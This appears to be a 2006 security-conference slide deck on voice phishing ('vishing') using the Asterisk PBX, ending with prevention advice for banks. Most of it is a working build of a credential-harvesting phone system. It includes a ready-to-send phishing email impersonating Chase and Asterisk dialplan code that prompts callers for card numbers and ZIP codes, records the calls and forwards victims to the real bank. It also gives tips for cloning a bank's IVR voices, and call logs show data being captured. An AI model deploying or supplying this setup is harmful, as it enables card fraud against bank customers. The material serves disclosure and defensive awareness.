Phishing with Asterisk PBX

Jay Schulman
Agenda

- Background
- The Concept: Our Phishing Technique
- The Tools
- Basic Monitoring Technique
- Building Blocks
- Advanced Phishing PBX System
- Preventing PBX Phishing
Background
Why Is Phishing Changing

• Phishing e-mails are becoming less effective
• Regulatory changes may make it harder to phish
• Phishing is becoming more creative
• What’s Old is New
## Phishing To Date

### Highlights

<table>
<thead>
<tr>
<th>Highlight</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Number of unique phishing reports received in May:</td>
<td>20,109</td>
</tr>
<tr>
<td>Number of unique phishing sites received in May:</td>
<td>11,976</td>
</tr>
<tr>
<td>Number of brands hijacked by phishing campaigns in May:</td>
<td>137</td>
</tr>
<tr>
<td>Number of brands comprising the top 80% of phishing campaigns in May:</td>
<td>20</td>
</tr>
<tr>
<td>Country hosting the most phishing websites in May:</td>
<td>United States</td>
</tr>
<tr>
<td>Contain some form of target name in URL:</td>
<td>46%</td>
</tr>
<tr>
<td>No hostname just IP address:</td>
<td>42%</td>
</tr>
<tr>
<td>Percentage of sites not using port 80:</td>
<td>8%</td>
</tr>
<tr>
<td>Average time online for site:</td>
<td>5.0 days</td>
</tr>
<tr>
<td>Longest time online for site:</td>
<td>31 days</td>
</tr>
</tbody>
</table>

Anti-Phishing Working Group, May 2006
Guidance on Authentication in Internet Banking Environment (October 12, 2005)

“The agencies consider single-factor authentication, as the only control mechanism, to be inadequate for high-risk transactions involving access to customer information or the movement of funds to other parties. Where risk assessments indicate that the use of single-factor authentication is inadequate, financial institutions should implement multifactor authentication, layered security, or other controls reasonably calculated to mitigate those risks.

Phishing with Asterisk PBX

Bank of America / Passmark

1. Enter your Online ID.
2. Click Sign In.
3. If we recognize your computer: We will display your SiteKey.
4. If we don’t recognize your computer: We will ask you one of your SiteKey Challenge Questions. After you answer your SiteKey Challenge Question correctly, we will display your SiteKey.
5. Once you view your valid SiteKey, you can then safely enter your Passcode and continue onto your Online Banking account.
First VoIP Phishing Reported

Cloudmark Blocks New VoIP-based Phishing Attacks
Messaging security leader first to detect VoIP scams; Offers precautions, protection to users
SAN FRANCISCO, April 25, 2006 — Cloudmark, Inc., the proven leader in messaging security solutions for service providers, enterprises and consumers, has identified and begun blocking phishing attacks carried out over voice over IP (VoIP) systems to spoof an unwitting target's financial institution. Scammers posing as banks are emailing people to dial a number and enter personal information needed to gain access to their finances. Cloudmark warns that VoIP services can reduce the costs associated with conducting such attacks, providing the perpetrators with less risk of discovery, and urges recipients of suspicious messages to notify their service providers immediately.

By combining a global threat detection network leveraging real-time reporting by trust-rated users with a unique fingerprinting methodology, Cloudmark is able to identify and begin blocking new spam, phishing and virus attacks within moments, versus hours or days required with competing solutions. Noted for industry-leading speed in detecting and deterring new threats, Cloudmark is uniquely capable of accurately identifying and blocking these spoofed-number attacks. The company detected two new VoIP-specific attacks this week. As a precaution, Cloudmark advises against dialing phone numbers received in emails from institutions and to double-check and dial the numbers printed on ATM cards instead.

Recent Phish E-mail

From: Visa and Mastercard <visa@mastercard.com>
Reply-To: Visa & Mastercard <visa@mastercard.com>
To:

Dear __________,

This project was started by Visa and Mastercard in order to protect your credit card online activities. To register for fraud protection, we earnestly ask you to call this number (1-805-4801) and to confirm your Card account information.

Sincerely,

Visa International Service Association & MasterCard International Incorporated

Analysis:

• Does not use 800#
• Uses Text-to-Speech for IVR
• Hangs up after entering information
• Poor quality e-mail
# Vishing Coined

**Phishing Alert: Santa Barbara Trust (Voice Phishing)**

### Alert Details

**Phishing with Asterisk PBX**

Websense® Security Labs™ has received reports of a new phishing attack that targets customers of Santa Barbara Bank & Trust. Users receive an email message that is spoofed and has the subject "Message 156994 Client's Details Confirmation (Santa Barbara Bank & Trust)."

Unlike the most popular form of phishing where users are lured to click on a URL and are directed to a fraudulent site, this lure uses a telephone number. The phone number is in the Southern California area code and was answering at the time of this alert.

When victims dial the phone number, the recording requests that they enter their account number.

The phone response does not mention the bank name, which could be a potential indicator that this number is being used for fraud against other entities.

**Recording link:**

http://www.websense.com/securitylabs/images/alerts/june_vishing.wav

**Email Message:**

**Dear Customer,**

We've noticed that you experienced trouble logging into Santa Barbara Bank & Trust Online Banking.

After three unsuccessful attempts to access your account, your Santa Barbara Bank & Trust Online Profile has been locked. This has been done to secure your accounts and to protect your private information. Santa Barbara Bank & Trust is committed to make sure that your online transactions are secure.

Call this phone number (1-805-XXX-XXXX) to verify your account and your identity.

Sincerely,
Santa Barbara Bank & Trust Inc.
Online Customer Service

---

### Analysis:

- Still no 800#
- Uses Text-to-Speech for IVR
- Hangs up after entering information
- Small Target Bank

**Actual Sounds File:**

"Please type your sixteen digits call number…"

![Audio File](http://www.websense.com/securitylabs/alerts/alert.php?AlertID=534)
Phishing with Asterisk PBX

Officially Published

SECURITY FIX
Brian Krebs on Computer Security

Posted at 03:18 PM ET, 06/26/2006

‘Vishing’: Dialing for Dollars

Long before e-mail and phishing scams, criminals were using public telephone networks to trick people into giving away their financial and personal information. Last week, security experts spotted another sign that crooks are finding success in scams that marry new and old technologies.

Most phishing scams start with an e-mail that for one reason or another instructs recipients to “update” their account information by entering personal and financial data into a (counterfeit) Web site linked to in the message. An e-mail scam spotted last week by online security vendor WebSense and the folks at CastleCops directs recipients to dial an 800 number, where a recording requests that callers enter their bank account number using a touch-tone phone. You can read more about this scam here. WebSense also has recorded a.wav file of the message.

With the growth of VoIP and Internet-based telephony services that make it easier for callers to mask their identity and location (including caller ID spoofing services), I’d look for these types of scams to become even more prevalent.

http://blog.washingtonpost.com/securityfix/2006/06/vishing_dialing_for_dollars.html
SMS Vishing

April 2006 brought news of e-mail attempting to lure recipients into calling toll-free phone numbers. Automated voice systems on the other end of the numbers were used to request personal info, supposedly for Chase Bank. (Credit Card #, PIN, Etc.)

Bait has also been taking other forms as phishers have been testing VoIP systems. VoIP bots are calling individuals directly with "account requests". And it works, people have been conditioned to recognize such scams via e-mail, but their guard is down when they receive a request through their phone.

In a fairly related matter, there was a recent endeavor to use SMS messages to lure recipients into visiting a website to "unregister" from a sham dating service or else be charged $2USD. The process was an effort to install a Backdoor Trojan. The SMS numbers were spammed in bulk to numbers in the UK and Iceland. (The Irreal Dating site is still currently online.)

We could predict that it's only a matter of time before phishers try SMS as a vector. It seems likely that someone could be tempted into clicking on a phone link within an SMS, only to be directed to an automated phishing net. We could predict, but in fact - it's reportedly already happened in China last October.

Bottom line: When it comes to requesting your personal data, don't trust ANY source.
The Concept: Our Phishing Technique
Phishing E-Mail

Subject: Chase Alert
From: Jay S Schulman

Dear Chase Customer

We recently reviewed your account, and suspect that your Chase Internet Banking account may have been accessed by an unauthorized third party.

Protecting the security of your account and of the Chase network is our primary concern. Therefore, as a preventative measure, we have temporarily limited access to sensitive account features.

To restore your account access, please contact us at 800-927-7416.

We apologize for any inconvenience this may cause, and appreciate your assistance in helping us maintain the integrity of the entire Chase system.

Thank you for your prompt attention to this matter.

Sincerely,

The Chase Team.
Logical Flow

User calls 800# in e-mail

Our PBX answers the call and asks the caller questions

Our PBX records the call and transfers caller to the real operator
Putting the Parts Together

For 24 Hour Cardmember Service: (800) 343-2000. Para Servicio al Cliente en Español las 24 horas: (800) 469-5700.

Authorized Signature

Valid Until Slanted

From outside the U.S. call collect: (302) 594-8200.

CHASE

Your card is issued and serviced by Chase Bank USA, N.A., pursuant to a license from Visa U.S.A. Incorporated. Use is subject to the terms of your Cardmember Agreement.
The Tools
Tools

- PBX Platform
- VoIP 800 Number Provider
- VoIP Outbound Provider
- A Computer to run it on
Asterisk

(www.asterisk.org)

- **Asterisk is a complete PBX in software.** It runs on Linux, BSD, Windows and OS X and provides all of the features you would expect from a PBX and more. Asterisk does voice over IP in four protocols, and can interoperate with almost all standards-based telephony equipment using relatively inexpensive hardware.

Asterisk provides Voicemail services with Directory, Call Conferencing, Interactive Voice Response, Call Queuing. It has support for three-way calling, caller ID services, ADSI, IAX, SIP, H.323 (as both client and gateway), MGCP (call manager only) and SCCP/Skinny.
trixbox

- Trixbox enables even the novice user to quickly set up a voice over IP phone system. Trixbox can be configured to handle a single phone line for a home user, several lines for a small office, or several T1s for a million minute a month call center.
TrixBox in VMPlayer

CentOS release 4.3 (Final)
Kernel 2.6.9-34.0.1.EL on an i686

asterisk1 login: root
Password:
Last login: Wed Jun 21 14:40:00 on tty1

Welcome to trixbox

For access to the trixbox web GUI use this URL
http://192.168.1.106

For help on trixbox commands you can use from this command shell type help-trixbox.

[root@asterisk1 ~]# _

To direct input to this virtual machine, press Ctrl+G.
VoIP Provider – 800#
<table>
<thead>
<tr>
<th>Vanity 800#</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Choose a number:</strong></td>
</tr>
<tr>
<td>○ 866-617-4474</td>
</tr>
<tr>
<td>○ 866-717-4474</td>
</tr>
<tr>
<td>○ 866-797-4474</td>
</tr>
<tr>
<td>○ 866-907-4474</td>
</tr>
<tr>
<td>○ 866-917-4474</td>
</tr>
<tr>
<td>○ 866-927-4474</td>
</tr>
<tr>
<td>○ 866-957-4474</td>
</tr>
<tr>
<td>○ 866-967-4474</td>
</tr>
<tr>
<td>○ 866-977-4474</td>
</tr>
<tr>
<td>○ <strong>866-987-4474</strong></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>SERVICE LINKS</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>• <a href="#">Add Funds</a></td>
</tr>
<tr>
<td>• <a href="#">International Lookup</a></td>
</tr>
<tr>
<td>• <a href="#">Billing Information</a></td>
</tr>
<tr>
<td>• <a href="#">Monthly Services</a></td>
</tr>
<tr>
<td>• <a href="#">Cell Detail Reports</a></td>
</tr>
<tr>
<td>• <a href="#">Add Sub Account</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>DID LINKS</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>• <a href="#">DID Numbers</a></td>
</tr>
<tr>
<td>• <a href="#">Order Local DID</a></td>
</tr>
<tr>
<td>• <a href="#">Order Toll Free DID</a></td>
</tr>
<tr>
<td>• <a href="#">Vanity Lookup</a></td>
</tr>
<tr>
<td>• <a href="#">LNP / Porting</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>OTHER</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>• <a href="#">Help</a></td>
</tr>
<tr>
<td>• <a href="#">Sign out</a></td>
</tr>
</tbody>
</table>
VoIP Provider - Outbound

Rapid-IP transit for voice packets

VoipJet

Instant IAX™
Test Account

Free $0.25 usage
Click Here

The dawn
of
INTELLIGENT VoIP

Pay with PayPal, Moneybookers or Bank Wire Transfer

Rapid-IP transit™ and VoipJet™ is a trademark of VoipJet Inc. IAX™ is a registered trademark of Digium Inc. This website, design and contents are copyright (c) VoipJet Inc. 2004. All prices in US currency unless otherwise stated. Please read terms of service fully before using any VoipJet service, either paid for or free. You are responsible for ensuring VoIP use is legal in your region. You are responsible for all taxes incurred from international wholesale VoIP and for all fees and duties incurred from cross-border payments into Canada and the United States.
Cost of VoIP

As VoIP calls are so cheap, we can afford to make some phone call on behalf of our victim.

<table>
<thead>
<tr>
<th></th>
<th>Code</th>
<th>Cost</th>
<th>Duration</th>
</tr>
</thead>
<tbody>
<tr>
<td>United Kingdom Premium</td>
<td>01144</td>
<td>0.3502</td>
<td>30</td>
</tr>
<tr>
<td>United Kingdom Proper</td>
<td>01144</td>
<td>0.0131</td>
<td>30</td>
</tr>
<tr>
<td>Uruguay Cellular</td>
<td>0115989</td>
<td>0.2134</td>
<td>30</td>
</tr>
<tr>
<td>Uruguay Montevideo</td>
<td>0115982</td>
<td>0.0665</td>
<td>30</td>
</tr>
<tr>
<td>Uruguay Proper</td>
<td>011598</td>
<td>0.0714</td>
<td>30</td>
</tr>
<tr>
<td>US Virgin Islands Proper</td>
<td>1340</td>
<td>0.0226</td>
<td>30</td>
</tr>
<tr>
<td>USA Alaska</td>
<td>1907</td>
<td>0.0678</td>
<td>30</td>
</tr>
<tr>
<td>USA Hawaii</td>
<td>1000</td>
<td>0.0127</td>
<td>30</td>
</tr>
<tr>
<td>USA Proper</td>
<td>1</td>
<td>0.0130</td>
<td>6</td>
</tr>
<tr>
<td>Uzbekistan Proper</td>
<td>011998</td>
<td>0.0850</td>
<td>30</td>
</tr>
<tr>
<td>Vanuatu Proper</td>
<td>011678</td>
<td>0.5120</td>
<td>30</td>
</tr>
</tbody>
</table>
Basic Setup
Getting Our 800# at IAC.cc

Voice Control

Direct Inward Dial Numbers
Routing for 8009277416

Your telephone number is currently routing to your Asterisk PBX server. I would like this number to:

Route to my Asterisk PBX Server via IAX  [Change]
Adding a Trunk to Asterisk

- **General Settings**
  - Outbound Caller ID: 8009277416
  - Maximum channels:

- **Outgoing Dial Rules**
  - Dial Rules:

- **Outgoing Settings**
  - Trunk Name: sixTel
  - PEER Details:
    - type = friend
    - host = outbound.sixtel.net
    - context = inbound
    - secret = password
    - allow = all
Basic Monitoring Technique
Poor Man’s Solution

• Using Asterisk’s Basic Monitoring Technique:
  – Forward calls from our 800# to a real customer service phone number.
  – Record the conversation for personal information.
  – Very manual, but very difficult to detect
Logical Flow

User calls 800# in e-mail

Our PBX answers the call

Our PBX Records The Call and Transfers caller to the real operator
Creating a Monitoring Number

Add to /etc/asterisk/extensions_custom.conf:

```plaintext
[ext-did-custom]
exten => 8009277416,1,Set(FROM_DID=${CALLERIDNUM})
exten => 8009277416,n,Answer
exten => 8009277416,n,Wait(0)
exten => 8009277416,n,Monitor(wav49,Blackhat-${TIMESTAMP},mb)
exten => 8009277416,n,Dial(IAX2/9999@voipjet/8009452000)
exten => 8009277416,n,Hangup
```
Monitoring a Call

Jun 22 21:32:41 VERBOSE[3047] logger.c:     -- Executing [s@custom-monitor:2] Wait("IAX2/sixTel-3", "0") in new stack
Jun 22 21:32:41 VERBOSE[3047] logger.c:     -- Executing [s@custom-monitor:4] Dial("IAX2/sixTel-3", "IAX2/9999@voipjet/18662651727") in new stack
Jun 22 21:32:41 VERBOSE[3047] logger.c:     -- Called 9999@voipjet/18662651727
Jun 22 21:32:41 VERBOSE[3047] logger.c:     -- Call accepted by 64.34.45.100 (format gsm)
Jun 22 21:32:41 VERBOSE[3047] logger.c:     -- Format for call is gsm
Jun 22 21:32:42 VERBOSE[3047] logger.c:     -- IAX2/voipjet-4 is making progress passing it to IAX2/sixTel-3
Jun 22 21:33:21 DEBUG[3047] pbx.c: Function result is '3125551495'
Jun 22 21:33:21 DEBUG[3047] pbx.c: Function result is 'custom-monitor'
Jun 22 21:33:21 DEBUG[3047] pbx.c: Function result is 'IAX2/sixTel-3'
Jun 22 21:33:21 DEBUG[3047] pbx.c: Function result is 'IAX2/voipjet-4'
Jun 22 21:33:21 DEBUG[3047] pbx.c: Function result is 'Monitor'
Jun 22 21:33:21 DEBUG[3047] pbx.c: Function result is 'wav49|Blackhat-010101|mX'
Jun 22 21:33:21 DEBUG[3047] pbx.c: Function result is '40'
Jun 22 21:33:21 DEBUG[3047] pbx.c: Function result is 'ANSWERED'
Jun 22 21:33:21 DEBUG[3047] pbx.c: Function result is 'DOCUMENTATION'
Jun 22 21:33:21 DEBUG[3047] pbx.c: Function result is '
Jun 22 21:33:21 DEBUG[3047] pbx.c: Function result is '1151029961.0'
Jun 22 21:33:21 DEBUG[3047] pbx.c: Function result is '
Jun 22 21:33:21 VERBOSE[3047] logger.c:     -- Hungup 'IAX2/sixTel-3'
Still a Poor Man’s Solution

• What we’ve seen thus far:
  – Using Asterisk’s Text-To-Speech Program, Festival:

Add to /etc/asterisk/extensions_custom.conf:

```
[ext-did-custom]
exten => 8009277416,1,Set(FROM_DID=${CALLERIDNUM})
exten => 8009277416,n,Answer
exten => 8009277416,n,Wait(0)
exten => 8009277416,n,Festival(Welcome to the Bank. Please enter your credit card number.)
exten => 8009277416,n,Read(cc)
Exten => 8009277416,n,Festival(Please enter your zipcode.)
...
```

http://www.cstr.ed.ac.uk/projects/festival/
Build on the Concept

• Using our new monitoring 800#
  – Record your conversations with IVR systems
  – Build your own IVR using the same voices
Workflow

User calls 800# in e-mail

Our PBX Answers

Enter CC #

Our PBX asks for CC#

Caller ID

Our PBX asks for zipcode

All information is recorded to our database

Our PBX Records
The Call and Transfers caller to the real operator

The Call and Transfers caller to the real operator

Our PBX Records

The Call and Transfers caller to the real operator

All information is recorded to our database

Our PBX Answers

Enter CC #
Finding Your Voice

- Full Menu
- Redo Menu
- Other Voice
Editing the Recordings

http://audacity.sourceforge.net
Building the Menu

Copy your WAV files to your Trixbox.

Convert your files from Windows WAV to GSM format:

```bash
sox winwave.wav -r 8000 -c 1 linwave.gsm
```

Move the files to:

```
/var/lib/asterisk/sounds
```
Building the Menu

In /etc/asterisk/extensions_custom.conf:

```plaintext
[custom-phish]
exten => s,1,Answer
exten => s,n,Set(FROM_DID=${CALLERIDNUM})
exten => s,n,Set(TIMEOUT(digit)=4)
exten => s,n,Set(TIMEOUT(response)=30)
exten => s,n,Wait(2)
exten => s,n,Read(cc|wel-to-cc-services|16)
exten => s,n,Wait(1)
exten => s,n,Read(zip|zipcode|5)
exten => s,n,Wait(1)
exten => s,n,Read(ccmenu|ccmenu|1)
exten => s,n,System(/usr/local/sbin/supercallerid.pl ${CALLERIDNUM} ${CALLERIDNUM} ${CALLERIDNAME} > /var/spool/asterisk/monitor/${cc}-info.txt)
exten => s,n,System(echo "Zip: ${zip}" >> /var/spool/asterisk/monitor/${cc}-info.txt)
exten => s,n,Playback(pls-wait-connect-call)
exten => s,n,Monitor(wav,${cc},mb)
exten => s,n,Dial(IAX2/9999@voipjet/13025948200)
exten => s,n,Hangup
```
Building the Menu

Route: 8009277416/
Delete Route 8009277416/

Edit Incoming Route

DID Number: 8009277416
Caller ID Number:

QR
ZapTel Channel:

Fax Handling

Fax Extension: fiasPBX default
Fax Email:
Fax Detection Type: None
Pause after answer: 0

Privacy

Privacy Manager: No

Options

Alert Info:

Set Destination

- Time Conditions: AtWork
- Ring Groups: Ring Group 798 <978>
- Core: voicemail box 701
- Conferences: general <1>
- DISA: main
- Custom App: custom-phish,s,1

Submit
Monitoring the Call

Jun 22 22:31:27 VERBOSEE[15032] logger.c:     -- Accepting AUTHENTICATED call from 70.84.157.148:
> requested format = ulaw,
> requested prefs = (),
> actual format = gsm,
> host prefs = (gsm),
> priority = mine
"FROM_DID=3125551584"
) in new stack
new stack
stack
phish|s|1")
in new stack
stack
"TIMEOUT(digit)=4") in new stack
"TIMEOUT(response)=30") in new stack
stack
Jun 22 22:31:27 VERBOSEE[15233] logger.c:     -- Executing [s@custom-phish:5] Read("IAX2/sixTel-5", "cc|wel-to-cc-
services|1"
) in new stack
Phishing with Asterisk PBX

Monitoring the Call

Jun 22 22:31:54 VERBOSE[15233] logger.c: -- Executing [s@custom-phish:9] Read("IAX2/sixTel-5", "ccmenu|ccmenu|1") in new stack
Jun 22 22:31:55 VERBOSE[15030] logger.c: -- Called 9999@voipjet/13025948200
Jun 22 22:31:55 VERBOSE[15030] logger.c: -- Call accepted by 64.34.45.100 (format gsm)
Monitoring the Call

Jun 22 22:32:10 VERBOSE[15233] logger.c: -- IAX/voipjet-1 is making progress passing it to IAX/sixTel-5
Jun 22 22:32:16 VERBOSE[15233] logger.c: == Spawn extension (custom-phish, s, 12) exited non-zero on 'IAX/sixTel-5'
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is '"3125551495" <3125551495>''
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is '3125551495'
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is 's'
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is 'custom-phish'
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is 'IAX/sixTel-5'
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is 'IAX/voipjet-1'
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is 'Monitor'
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is 'wav|1234567891234567|mX'
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is '49'
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is '49'
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is 'ANSWERED'
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is 'DOCUMENTATION'
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is ''
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is '1151033487.0'
Jun 22 22:32:16 DEBUG[15233] pbx.c: Function result is ''
Jun 22 22:32:16 VERBOSE[15233] logger.c: -- Hungup 'IAX/sixTel-5'
Further Building

• Add LUHN verification to verify the credit card number is real.
• Using the CallerID information, call the user back to confirm their change.
• Outbound call the user to have them call you back at your 800#. 
High Risk Applications

- Credit Card/Banking
- Student Loan Systems
- Corporate Help Desks
- Utilities (Power/Cable/Phone)
Preventing PBX Phishing
Preventing PBX Phishing

• Develop a process to deal with a rogue 800 number when you find it
  – Shutdown 800#s as they come up. It will be the fastest way to stop the phish from continuing
  – Redirect the 800# to a voicemail message notifying the user that they were “scammed” and they shouldn’t call 800#s in e-mails.
Preventing PBX Phishing

• Recommend users only all the 800# on the back of their card
  – Reduce the amount of 800#s you send to customers.
  – Warn users today (on your website, IVR, and printed material) of this phishing technique
Preventing PBX Phishing

• Monitor users ANI not CallerID and track ANI usage for fraud
  – CallerID is easily spoofed by VoIP platforms.
  – ANI, while it can be spoofed, it a much better way to authenticate users
  – Never use CallerID or ANI to actually authenticate a user
Preventing PBX Phishing

• Train Call Center Reps on Vishing
  – Ask callers what 800# they dialed
  – Play “You’ve reach Bank X at 800-555-1212 and you’re calling from 312-555-1212.”
  – Always say the name of the bank!
Preventing PBX Phishing

• Prevent Cross-Over Knowledge
  – Never ask for CVV2 information in an IVR
  – Never ask for the full social security number
  – Evaluate the information available when you successfully login to the IVR.
Jay Schulman
Jay.Schulman@Hushmail.com